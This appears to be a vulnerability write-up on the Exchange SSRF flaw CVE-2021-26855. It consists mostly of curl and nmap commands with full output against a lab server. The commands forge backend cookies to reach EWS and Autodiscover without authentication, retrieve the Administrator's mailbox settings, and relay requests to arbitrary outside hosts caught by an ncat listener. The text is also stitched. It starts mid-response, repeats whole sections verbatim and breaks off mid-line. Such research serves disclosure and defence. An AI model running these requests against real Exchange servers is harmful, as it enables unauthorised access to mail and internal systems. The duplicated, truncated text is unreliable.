(MAX_CONCURRENT_STREAMS == 100)!\n < HTTP/2 200\n < cache-control: private\n < content-type: text/html\n < server: Microsoft-IIS/10.0\n < request-id: 31688df5-982d-4d18-86d1-ae0e99c00ce8\n < x-calculatedbetarget: burpcollaborator.net\n < x-collaborator-version: 4\n < x-aspnet-version: 4.0.30319\n < x-powered-by: ASP.NET\n < date: Tue, 09 Mar 2021 07:58:52 GMT\n < content-length: 1190\n <\n <!DOCTYPE html>\n <html>\n <head>\n <meta charset=\"UTF-8\">\n </head>\n <body>\n <h1>Burp Collaborator Server</h1>\n <p>Burp Collaborator is a service that is used by <a href=\"https://portswigger.net/burp/\">Burp Suite</a> when testing web applications for security\n vulnerabilities. Some of Burp Suite's tests may cause the application being\n tested to interact with the Burp Collaborator server, to enable Burp Suite\n to detect various security vulnerabilities.\n </p><p>The Burp Collaborator server does not itself initiate any interactions with\n any system, and only responds to interactions that it receives from other\n systems.\n </p><p>If you are a systems administrator and you are seeing interactions with the\n Burp Collaborator server in your logs, then it is likely that someone is\n testing your web application using Burp Suite. If you are trying to identify\n the person responsible for this testing, you should review your web server\n or applications logs for the time at which these interactions were initiated\n by your systems.\n </p><p>For further details about Burp Collaborator, please see the <a href=\"https://portswigger.net/burp/documentation/collaborator/\">full documentation</a>.</p></body>\n * Connection #0 to host 192.168.123.183 left intact\n </html>* Closing connection 0\n wvu@kharak:~$\n \n\n## SSRF to a privileged backend resource\n\nHostname `WIN-T4RO9496TA7` is from the `x-feserver` header.\n \n \n wvu@kharak:~$ curl -kvb \"X-BEResource=WIN-T4RO9496TA7/EWS/Exchange.asmx?~$RANDOM\" \"https://192.168.123.183/ecp/$RANDOM.js\"\n * Trying 192.168.123.183...\n * TCP_NODELAY set\n * Connected to 192.168.123.183 (192.168.123.183) port 443 (#0)\n * ALPN, offering h2\n * ALPN, offering http/1.1\n * successfully set certificate verify locations:\n * CAfile: /etc/ssl/cert.pem\n CApath: none\n * TLSv1.2 (OUT), TLS handshake, Client hello (1):\n * TLSv1.2 (IN), TLS handshake, Server hello (2):\n * TLSv1.2 (IN), TLS handshake, Certificate (11):\n * TLSv1.2 (IN), TLS handshake, Server key exchange (12):\n * TLSv1.2 (IN), TLS handshake, Server finished (14):\n * TLSv1.2 (OUT), TLS handshake, Client key exchange (16):\n * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (OUT), TLS handshake, Finished (20):\n * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (IN), TLS handshake, Finished (20):\n * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256\n * ALPN, server accepted to use h2\n * Server certificate:\n * subject: CN=WIN-T4RO9496TA7\n * start date: Mar 8 22:45:17 2021 GMT\n * expire date: Mar 8 22:45:17 2026 GMT\n * issuer: CN=WIN-T4RO9496TA7\n * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n * Using HTTP2, server supports multi-use\n * Connection state changed (HTTP/2 confirmed)\n * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0\n * Using Stream ID: 1 (easy handle 0x7faac2808200)\n > GET /ecp/1849.js HTTP/2\n > Host: 192.168.123.183\n > User-Agent: curl/7.64.1\n > Accept: */*\n > Cookie: X-BEResource=WIN-T4RO9496TA7/EWS/Exchange.asmx?~22406\n >\n * Connection state changed (MAX_CONCURRENT_STREAMS == 100)!\n < HTTP/2 200\n < cache-control: private\n < content-type: text/html; charset=UTF-8\n < server: Microsoft-IIS/10.0\n < request-id: b4762a11-d418-43f8-a435-f04420289a4c\n < x-calculatedbetarget: win-t4ro9496ta7\n < x-calculatedbetarget: win-t4ro9496ta7.gibson.local\n < x-diaginfo: WIN-T4RO9496TA7\n < x-beserver: WIN-T4RO9496TA7\n < x-feserver: WIN-T4RO9496TA7\n < x-aspnet-version: 4.0.30319\n < set-cookie: exchangecookie=ef4d50599057429b849b92e9059455af; expires=Wed, 09-Mar-2022 07:00:11 GMT; path=/; HttpOnly\n < set-cookie: X-BackEndCookie=S-1-5-18=rJqNiZqNgai2sdKry62wxsvGyau+yNGYlp2MkJHRk5CcnpOBzsbLzc/JzM3MzYHNz83O0s/M0s/Gq8/Ixc7Pxc7O; expires=Tue, 09-Mar-2021 07:10:11 GMT; path=/EWS; secure; HttpOnly\n < x-powered-by: ASP.NET\n < x-feserver: WIN-T4RO9496TA7\n < date: Tue, 09 Mar 2021 07:00:11 GMT\n < content-length: 2836\n <\n <HTML lang=\"en\"><HEAD><link rel=\"alternate\" type=\"text/xml\" href=\"https://win-t4ro9496ta7.gibson.local:444/EWS/Exchange.asmx?disco\"/><STYLE type=\"text/css\">#content{ FONT-SIZE: 0.7em; PADDING-BOTTOM: 2em; MARGIN-LEFT: 30px}BODY{MARGIN-TOP: 0px; MARGIN-LEFT: 0px; COLOR: #000000; FONT-FAMILY: Verdana; BACKGROUND-COLOR: white}P{MARGIN-TOP: 0px; MARGIN-BOTTOM: 12px; COLOR: #000000; FONT-FAMILY: Verdana}PRE{BORDER-RIGHT: #f0f0e0 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #f0f0e0 1px solid; MARGIN-TOP: -5px; PADDING-LEFT: 5px; FONT-SIZE: 1.2em; PADDING-BOTTOM: 5px; BORDER-LEFT: #f0f0e0 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #f0f0e0 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e5e5cc}.heading1{MARGIN-TOP: 0px; PADDING-LEFT: 15px; FONT-WEIGHT: normal; FONT-SIZE: 26px; MARGIN-BOTTOM: 0px; PADDING-BOTTOM: 3px; MARGIN-LEFT: -30px; WIDTH: 100%; COLOR: #ffffff; PADDING-TOP: 10px; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #003366}.intro{display: block; font-size: 1em;}</STYLE><TITLE>Service</TITLE></HEAD><BODY><DIV id=\"content\" role=\"main\"><h1 class=\"heading1\">Service</h1><BR/><P class=\"intro\">You have created a service.<P class='intro'>To test this service, you will need to create a client and use it to call the service. You can do this using the svcutil.exe tool from the command line with the following syntax:</P> <BR/><PRE>svcutil.exe <A HREF=\"https://win-t4ro9496ta7.gibson.local:444/EWS/Services.wsdl\">https://win-t4ro9496ta7.gibson.local:444/EWS/Services.wsdl</A></PRE></P><P class=\"intro\">This will generate a configuration file and a code file that contains the client class. Add the two files to your client application and use the generated client class to call the Service. For example:<BR/></P><h2 class='intro'>C#</h2><br /><PRE><font color=\"blue\">class </font><font color=\"black\">Test\n </font>{\n <font color=\"blue\"> static void </font>Main()\n {\n <font color=\"black\">HelloClient</font> client = <font color=\"blue\">new </font><font color=\"black\">HelloClient</font>();\n \n <font color=\"darkgreen\"> // Use the 'client' variable to call operations on the service.\n \n </font><font color=\"darkgreen\"> // Always close the client.\n </font> client.Close();\n }\n }\n </PRE><BR/><h2 class='intro'>Visual Basic</h2><br /><PRE><font color=\"blue\">Class </font><font color=\"black\">Test\n </font><font color=\"blue\"> Shared Sub </font>Main()\n <font color=\"blue\"> Dim </font>client As <font color=\"black\">HelloClient</font> = <font color=\"blue\">New </font><font color=\"black\">HelloClient</font>()\n <font color=\"darkgreen\"> ' Use the 'client' variable to call operations on the service.\n \n </font><font color=\"darkgreen\"> ' Always close the client.\n </font> client.Close()\n <font color=\"blue\"> End Sub\n * Connection #0 to host 192.168.123.183 left intact\n </font><font color=\"blue\">End Class</font></PRE></DIV></BODY></HTML>* Closing connection 0\n wvu@kharak:~$\n \n\n`POST`ing to the [EWS](<https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-reference-for-exchange>) endpoint (not shown) allows an attacker access to a target\u2019s mailbox. A sample [Autodiscover request](<https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/pox-autodiscover-request-for-exchange>) is shown below.\n \n \n wvu@kharak:~/Downloads$ cat poc.xml\n <?xml version=\"1.0\"?>\n <Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\">\n <Request>\n <EMailAddress>Administrator@gibson.local</EMailAddress>\n <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>\n </Request>\n </Autodiscover>\n wvu@kharak:~/Downloads$ curl -kvb \"X-BEResource=WIN-T4RO9496TA7/autodiscover/autodiscover.xml?~$RANDOM\" -H \"Content-Type: text/xml\" \"https://192.168.123.207/ecp/$RANDOM.js\" -d @poc.xml\n * Trying 192.168.123.207...\n * TCP_NODELAY set\n * Connected to 192.168.123.207 (192.168.123.207) port 443 (#0)\n * ALPN, offering h2\n * ALPN, offering http/1.1\n * successfully set certificate verify locations:\n * CAfile: /etc/ssl/cert.pem\n CApath: none\n * TLSv1.2 (OUT), TLS handshake, Client hello (1):\n * TLSv1.2 (IN), TLS handshake, Server hello (2):\n * TLSv1.2 (IN), TLS handshake, Certificate (11):\n * TLSv1.2 (IN), TLS handshake, Server key exchange (12):\n * TLSv1.2 (IN), TLS handshake, Server finished (14):\n * TLSv1.2 (OUT), TLS handshake, Client key exchange (16):\n * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (OUT), TLS handshake, Finished (20):\n * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (IN), TLS handshake, Finished (20):\n * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256\n * ALPN, server accepted to use h2\n * Server certificate:\n * subject: CN=WIN-T4RO9496TA7\n * start date: Mar 8 22:45:17 2021 GMT\n * expire date: Mar 8 22:45:17 2026 GMT\n * issuer: CN=WIN-T4RO9496TA7\n * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n * Using HTTP2, server supports multi-use\n * Connection state changed (HTTP/2 confirmed)\n * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0\n * Using Stream ID: 1 (easy handle 0x7fa592808200)\n > POST /ecp/3425.js HTTP/2\n > Host: 192.168.123.207\n > User-Agent: curl/7.64.1\n > Accept: */*\n > Cookie: X-BEResource=WIN-T4RO9496TA7/autodiscover/autodiscover.xml?~24753\n > Content-Type: text/xml\n > Content-Length: 354\n >\n * Connection state changed (MAX_CONCURRENT_STREAMS == 100)!\n * We are completely uploaded and fine\n < HTTP/2 200\n < cache-control: private\n < content-type: text/xml; charset=utf-8\n < server: Microsoft-IIS/10.0\n < request-id: bde5e90a-fe14-4b47-aaca-1a713d9832b1\n < x-calculatedbetarget: win-t4ro9496ta7\n < x-calculatedbetarget: win-t4ro9496ta7.gibson.local\n < x-diaginfo: WIN-T4RO9496TA7\n < x-beserver: WIN-T4RO9496TA7\n < x-feserver: WIN-T4RO9496TA7\n < x-aspnet-version: 4.0.30319\n < set-cookie: X-BackEndCookie=S-1-5-18=rJqNiZqNgai2sdKry62wxsvGyau+yNGYlp2MkJHRk5CcnpOBzsbLzc/JzM3MzYHNz83O0s/M0s7Pq8/OxczJxc7G; expires=Wed, 10-Mar-2021 01:36:19 GMT; path=/autodiscover; secure; HttpOnly\n < x-powered-by: ASP.NET\n < x-feserver: WIN-T4RO9496TA7\n < date: Wed, 10 Mar 2021 01:26:19 GMT\n < content-length: 3866\n <\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/responseschema/2006\">\n <Response xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a\">\n <User>\n <DisplayName>Administrator</DisplayName>\n <LegacyDN>/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=94812d66d68146e8b6ac7b3312a93d7b-Admin</LegacyDN>\n <AutoDiscoverSMTPAddress>Administrator@gibson.local</AutoDiscoverSMTPAddress>\n <DeploymentId>eb64d327-1a67-4c9c-b64d-38d567e95480</DeploymentId>\n </User>\n <Account>\n <AccountType>email</AccountType>\n <Action>settings</Action>\n <MicrosoftOnline>False</MicrosoftOnline>\n <Protocol>\n <Type>EXCH</Type>\n <Server>47f3c51d-2094-4651-b009-c4c4a86a75e4@gibson.local</Server>\n <ServerDN>/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Configuration/cn=Servers/cn=47f3c51d-2094-4651-b009-c4c4a86a75e4@gibson.local</ServerDN>\n <ServerVersion>73C18880</ServerVersion>\n <MdbDN>/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Configuration/cn=Servers/cn=47f3c51d-2094-4651-b009-c4c4a86a75e4@gibson.local/cn=Microsoft Private MDB</MdbDN>\n <PublicFolderServer>win-t4ro9496ta7.gibson.local</PublicFolderServer>\n <AD>WIN-T4RO9496TA7.gibson.local</AD>\n <ASUrl>https://win-t4ro9496ta7.gibson.local/EWS/Exchange.asmx</ASUrl>\n <EwsUrl>https://win-t4ro9496ta7.gibson.local/EWS/Exchange.asmx</EwsUrl>\n <EmwsUrl>https://win-t4ro9496ta7.gibson.local/EWS/Exchange.asmx</EmwsUrl>\n <EcpUrl>https://win-t4ro9496ta7.gibson.local/owa/</EcpUrl>\n <EcpUrl-um>?path=/options/callanswering</EcpUrl-um>\n <EcpUrl-aggr>?path=/options/connectedaccounts</EcpUrl-aggr>\n <EcpUrl-mt>options/ecp/PersonalSettings/DeliveryReport.aspx?rfr=olk&exsvurl=1&IsOWA=<IsOWA>&MsgID=<MsgID>&Mbx=<Mbx>&realm=gibson.local</EcpUrl-mt>\n <EcpUrl-ret>?path=/options/retentionpolicies</EcpUrl-ret>\n <EcpUrl-sms>?path=/options/textmessaging</EcpUrl-sms>\n <EcpUrl-photo>?path=/options/myaccount/action/photo</EcpUrl-photo>\n <EcpUrl-tm>options/ecp/?rfr=olk&ftr=TeamMailbox&exsvurl=1&realm=gibson.local</EcpUrl-tm>\n <EcpUrl-tmCreating>options/ecp/?rfr=olk&ftr=TeamMailboxCreating&SPUrl=<SPUrl>&Title=<Title>&SPTMAppUrl=<SPTMAppUrl>&exsvurl=1&realm=gibson.local</EcpUrl-tmCreating>\n <EcpUrl-tmEditing>options/ecp/?rfr=olk&ftr=TeamMailboxEditing&Id=<Id>&exsvurl=1&realm=gibson.local</EcpUrl-tmEditing>\n <EcpUrl-extinstall>?path=/options/manageapps</EcpUrl-extinstall>\n <OOFUrl>https://win-t4ro9496ta7.gibson.local/EWS/Exchange.asmx</OOFUrl>\n <UMUrl>https://win-t4ro9496ta7.gibson.local/EWS/UM2007Legacy.asmx</UMUrl>\n <ServerExclusiveConnect>off</ServerExclusiveConnect>\n </Protocol>\n <Protocol>\n <Type>EXPR</Type>\n <Server>win-t4ro9496ta7.gibson.local</Server>\n <SSL>Off</SSL>\n <AuthPackage>Ntlm</AuthPackage>\n <ServerExclusiveConnect>on</ServerExclusiveConnect>\n <CertPrincipalName>None</CertPrincipalName>\n <GroupingInformation>Default-First-Site-Name</GroupingInformation>\n </Protocol>\n <Protocol>\n <Type>WEB</Type>\n <Internal>\n <OWAUrl AuthenticationMethod=\"Basic, Fba\">https://win-t4ro9496ta7.gibson.local/owa/</OWAUrl>\n <Protocol>\n <Type>EXCH</Type>\n <ASUrl>https://win-t4ro9496ta7.gibson.local/EWS/Exchange.asmx</ASUrl>\n </Protocol>\n </Internal>\n </Protocol>\n </Account>\n </Response>\n * Connection #0 to host 192.168.123.207 left intact\n </Autodiscover>* Closing connection 0\n wvu@kharak:~/Downloads$\n \n\n**cdelafuente-r7** at March 24, 2021 2:49pm UTC reported:\n\n# CVE-2021-26855\n\n[CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>) is an SSRF vulnerability in Exchange that allows privileged access to Exchange\u2019s backend resources, ultimately leading to pre-auth RCE when [combined](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>) with CVEs such as [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>).\n\n## Microsoft\u2019s (Nmap) NSE script\n\nConveniently disclosed in Microsoft\u2019s [alternative mitigations](<https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/>), [this script](<https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse>) provides an easily reproducible PoC for CVE-2021-26855. My findings below are reflective of that.\n \n \n wvu@kharak:~/Downloads$ ls\n http-vuln-cve2021-26855.nse\n wvu@kharak:~/Downloads$ nmap -Pn -T4 -n -v -p 443 --open --script http-vuln-cve2021-26855 192.168.123.183\n Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.\n Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-09 00:50 CST\n NSE: Loaded 1 scripts for scanning.\n NSE: Script Pre-scanning.\n Initiating NSE at 00:50\n Completed NSE at 00:50, 0.00s elapsed\n Initiating Connect Scan at 00:50\n Scanning 192.168.123.183 [1 port]\n Discovered open port 443/tcp on 192.168.123.183\n Completed Connect Scan at 00:50, 0.00s elapsed (1 total ports)\n NSE: Script scanning 192.168.123.183.\n Initiating NSE at 00:50\n Completed NSE at 00:50, 0.02s elapsed\n Nmap scan report for 192.168.123.183\n Host is up (0.00064s latency).\n \n PORT STATE SERVICE\n 443/tcp open https\n | http-vuln-cve2021-26855:\n | VULNERABLE:\n | Exchange Server SSRF Vulnerability\n | State: VULNERABLE\n | IDs: CVE:CVE-2021-26855\n | Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010 are vulnerable to a SSRF via the X-AnonResource-Backend and X-BEResource cookies.\n |\n | Disclosure date: 2021-03-02\n | References:\n | https://vulners.com/cve/CVE-2021-26855\n |_ http://aka.ms/exchangevulns\n \n NSE: Script Post-scanning.\n Initiating NSE at 00:50\n Completed NSE at 00:50, 0.00s elapsed\n Read data files from: /usr/local/bin/../share/nmap\n Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds\n wvu@kharak:~/Downloads$\n \n\n### Ported to [curl(1)](<https://curl.se/>)\u2026\n \n \n wvu@kharak:~$ curl -kvb \"X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;\" https://192.168.123.183/owa/auth/x.js\n * Trying 192.168.123.183...\n * TCP_NODELAY set\n * Connected to 192.168.123.183 (192.168.123.183) port 443 (#0)\n * ALPN, offering h2\n * ALPN, offering http/1.1\n * successfully set certificate verify locations:\n * CAfile: /etc/ssl/cert.pem\n CApath: none\n * TLSv1.2 (OUT), TLS handshake, Client hello (1):\n * TLSv1.2 (IN), TLS handshake, Server hello (2):\n * TLSv1.2 (IN), TLS handshake, Certificate (11):\n * TLSv1.2 (IN), TLS handshake, Server key exchange (12):\n * TLSv1.2 (IN), TLS handshake, Server finished (14):\n * TLSv1.2 (OUT), TLS handshake, Client key exchange (16):\n * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (OUT), TLS handshake, Finished (20):\n * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (IN), TLS handshake, Finished (20):\n * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256\n * ALPN, server accepted to use h2\n * Server certificate:\n * subject: CN=WIN-T4RO9496TA7\n * start date: Mar 8 22:45:17 2021 GMT\n * expire date: Mar 8 22:45:17 2026 GMT\n * issuer: CN=WIN-T4RO9496TA7\n * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n * Using HTTP2, server supports multi-use\n * Connection state changed (HTTP/2 confirmed)\n * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0\n * Using Stream ID: 1 (easy handle 0x7f8cb580b400)\n > GET /owa/auth/x.js HTTP/2\n > Host: 192.168.123.183\n > User-Agent: curl/7.64.1\n > Accept: */*\n > Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;\n >\n * Connection state changed (MAX_CONCURRENT_STREAMS == 100)!\n < HTTP/2 500\n < cache-control: private\n < content-type: text/html; charset=utf-8\n < server: Microsoft-IIS/10.0\n < request-id: 864475e3-ee01-48a5-acf3-1b1cbbc50c02\n < x-calculatedbetarget: localhost\n < x-calculatedbetarget: localhost\n < x-feserver: WIN-T4RO9496TA7\n < x-aspnet-version: 4.0.30319\n < x-powered-by: ASP.NET\n < date: Tue, 09 Mar 2021 06:52:07 GMT\n < content-length: 85\n <\n * Connection #0 to host 192.168.123.183 left intact\n NegotiateSecurityContext failed with for host 'localhost' with status 'TargetUnknown'* Closing connection 0\n wvu@kharak:~$\n \n\n## SSRF to an arbitrary remote host\n\nYou can specify an arbitrary host in `X-AnonResource-Backend`.\n \n \n wvu@kharak:~$ curl -kvb \"X-AnonResource=true; X-AnonResource-Backend=192.168.123.1~$RANDOM\" \"https://192.168.123.183/owa/auth/$RANDOM.js\"\n * Trying 192.168.123.183...\n * TCP_NODELAY set\n * Connected to 192.168.123.183 (192.168.123.183) port 443 (#0)\n * ALPN, offering h2\n * ALPN, offering http/1.1\n * successfully set certificate verify locations:\n * CAfile: /etc/ssl/cert.pem\n CApath: none\n * TLSv1.2 (OUT), TLS handshake, Client hello (1):\n * TLSv1.2 (IN), TLS handshake, Server hello (2):\n * TLSv1.2 (IN), TLS handshake, Certificate (11):\n * TLSv1.2 (IN), TLS handshake, Server key exchange (12):\n * TLSv1.2 (IN), TLS handshake, Server finished (14):\n * TLSv1.2 (OUT), TLS handshake, Client key exchange (16):\n * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (OUT), TLS handshake, Finished (20):\n * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (IN), TLS handshake, Finished (20):\n * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256\n * ALPN, server accepted to use h2\n * Server certificate:\n * subject: CN=WIN-T4RO9496TA7\n * start date: Mar 8 22:45:17 2021 GMT\n * expire date: Mar 8 22:45:17 2026 GMT\n * issuer: CN=WIN-T4RO9496TA7\n * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n * Using HTTP2, server supports multi-use\n * Connection state changed (HTTP/2 confirmed)\n * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0\n * Using Stream ID: 1 (easy handle 0x7f9ea080d600)\n > GET /owa/auth/22702.js HTTP/2\n > Host: 192.168.123.183\n > User-Agent: curl/7.64.1\n > Accept: */*\n > Cookie: X-AnonResource=true; X-AnonResource-Backend=192.168.123.1~4563\n >\n * Connection state changed (MAX_CONCURRENT_STREAMS == 100)!\n \n\n### Catching the request in [ncat(1)](<https://nmap.org/ncat/>)\u2026\n \n \n wvu@kharak:~$ ncat -lkv --ssl 443\n Ncat: Version 7.91 ( https://nmap.org/ncat )\n Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.\n Ncat: SHA-1 fingerprint: F55B E690 D8F2 84F1 EC64 816A 5763 2F5B B56F 0D72\n Ncat: Listening on :::443\n Ncat: Listening on 0.0.0.0:443\n Ncat: Connection from 192.168.123.183.\n Ncat: Connection from 192.168.123.183:6303.\n GET /owa/auth/22702.js HTTP/1.1\n X-FE-ClientIP: 192.168.123.1\n X-Forwarded-For: 192.168.123.1\n X-Forwarded-Port: 55723\n X-MS-EdgeIP:\n X-ExCompId: ClientAccessFrontEnd\n Accept: */*\n User-Agent: curl/7.64.1\n X-OriginalRequestHost: 192.168.123.183\n X-OriginalRequestHostSchemePort: 443:https:192.168.123.183\n X-MSExchangeActivityCtx: V=1.0.0.0;Id=26678ebf-2d0f-42bd-bac3-2d27889baed8;C=;P=\n msExchProxyUri: https://192.168.123.183/owa/auth/22702.js\n X-IsFromCafe: 1\n X-SourceCafeServer: WIN-T4RO9496TA7.GIBSON.LOCAL\n X-CommonAccessToken: VgEAVAlBbm9ueW1vdXNDAEUAAAAA\n X-vDirObjectId: 621dccd3-6dff-49aa-87be-7911a110125e\n Host: 192.168.123.1\n Cookie: X-AnonResource=true; X-AnonResource-Backend=192.168.123.1~4563\n Connection: Keep-Alive\n \n\nThe fun folks working on the [Nuclei scanner](<https://github.com/projectdiscovery/nuclei>) noticed [burpcollaborator.net](<https://burpcollaborator.net/>) made a [good target](<https://github.com/projectdiscovery/nuclei-templates/pull/1032>) for their scanner.\n \n \n wvu@kharak:~$ curl -kvb \"X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net~$RANDOM\" \"https://192.168.123.183/owa/auth/$RANDOM.js\"\n * Trying 192.168.123.183...\n * TCP_NODELAY set\n * Connected to 192.168.123.183 (192.168.123.183) port 443 (#0)\n * ALPN, offering h2\n * ALPN, offering http/1.1\n * successfully set certificate verify locations:\n * CAfile: /etc/ssl/cert.pem\n CApath: none\n * TLSv1.2 (OUT), TLS handshake, Client hello (1):\n * TLSv1.2 (IN), TLS handshake, Server hello (2):\n * TLSv1.2 (IN), TLS handshake, Certificate (11):\n * TLSv1.2 (IN), TLS handshake, Server key exchange (12):\n * TLSv1.2 (IN), TLS handshake, Server finished (14):\n * TLSv1.2 (OUT), TLS handshake, Client key exchange (16):\n * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (OUT), TLS handshake, Finished (20):\n * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (IN), TLS handshake, Finished (20):\n * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256\n * ALPN, server accepted to use h2\n * Server certificate:\n * subject: CN=WIN-T4RO9496TA7\n * start date: Mar 8 22:45:17 2021 GMT\n * expire date: Mar 8 22:45:17 2026 GMT\n * issuer: CN=WIN-T4RO9496TA7\n * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n * Using HTTP2, server supports multi-use\n * Connection state changed (HTTP/2 confirmed)\n * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0\n * Using Stream ID: 1 (easy handle 0x7fd58480f600)\n > GET /owa/auth/18409.js HTTP/2\n > Host: 192.168.123.183\n > User-Agent: curl/7.64.1\n > Accept: */*\n > Cookie: X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net~31368\n >\n * Connection state changed (MAX_CONCURRENT_STREAMS == 100)!\n < HTTP/2 200\n < cache-control: private\n < content-type: text/html\n < server: Microsoft-IIS/10.0\n < request-id: 31688df5-982d-4d18-86d1-ae0e99c00ce8\n < x-calculatedbetarget: burpcollaborator.net\n < x-collaborator-version: 4\n < x-aspnet-version: 4.0.30319\n < x-powered-by: ASP.NET\n < date: Tue, 09 Mar 2021 07:58:52 GMT\n < content-length: 1190\n <\n <!DOCTYPE html>\n <html>\n <head>\n <meta charset=\"UTF-8\">\n </head>\n <body>\n <h1>Burp Collaborator Server</h1>\n <p>Burp Collaborator is a service that is used by <a href=\"https://portswigger.net/burp/\">Burp Suite</a> when testing web applications for security\n vulnerabilities. Some of Burp Suite's tests may cause the application being\n tested to interact with the Burp Collaborator server, to enable Burp Suite\n to detect various security vulnerabilities.\n </p><p>The Burp Collaborator server does not itself initiate any interactions with\n any system, and only responds to interactions that it receives from other\n systems.\n </p><p>If you are a systems administrator and you are seeing interactions with the\n Burp Collaborator server in your logs, then it is likely that someone is\n testing your web application using Burp Suite. If you are trying to identify\n the person responsible for this testing, you should review your web server\n or applications logs for the time at which these interactions were initiated\n by your systems.\n </p><p>For further details about Burp Collaborator, please see the <a href=\"https://portswigger.net/burp/documentation/collaborator/\">full documentation</a>.</p></body>\n * Connection #0 to host 192.168.123.183 left intact\n </html>* Closing connection 0\n wvu@kharak:~$\n \n\n## SSRF to a privileged backend resource\n\nHostname `WIN-T4RO9496TA7` is from the `x-feserver` header.\n \n \n wvu@kharak:~$ curl -kvb \"X-BEResource=WIN-T4RO9496TA7/EWS/Exchange.asmx?~$RANDOM\" \"https://192.168.123.183/ecp/$RANDOM.js\"\n * Trying 192.168.123.183...\n * TCP_NODELAY set\n * Connected to 192.168.123.183 (192.168.123.183) port 443 (#0)\n * ALPN, offering h2\n * ALPN, offering http/1.1\n * successfully set certificate verify locations:\n * CAfile: /etc/ssl/cert.pem\n CApath: none\n * TLSv1.2 (OUT), TLS handshake, Client hello (1):\n * TLSv1.2 (IN), TLS handshake, Server hello (2):\n * TLSv1.2 (IN), TLS handshake, Certificate (11):\n * TLSv1.2 (IN), TLS handshake, Server key exchange (12):\n * TLSv1.2 (IN), TLS handshake, Server finished (14):\n * TLSv1.2 (OUT), TLS handshake, Client key exchange (16):\n * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (OUT), TLS handshake, Finished (20):\n * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (IN), TLS handshake, Finished (20):\n * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256\n * ALPN, server accepted to use h2\n * Server certificate:\n * subject: CN=WIN-T4RO9496TA7\n * start date: Mar 8 22:45:17 2021 GMT\n * expire date: Mar 8 22:45:17 2026 GMT\n * issuer: CN=WIN-T4RO9496TA7\n * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n * Using HTTP2, server supports multi-use\n * Connection state changed (HTTP/2 confirmed)\n * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0\n * Using Stream ID: 1 (easy handle 0x7faac2808200)\n > GET /ecp/1849.js HTTP/2\n > Host: 192.168.123.183\n > User-Agent: curl/7.64.1\n > Accept: */*\n > Cookie: 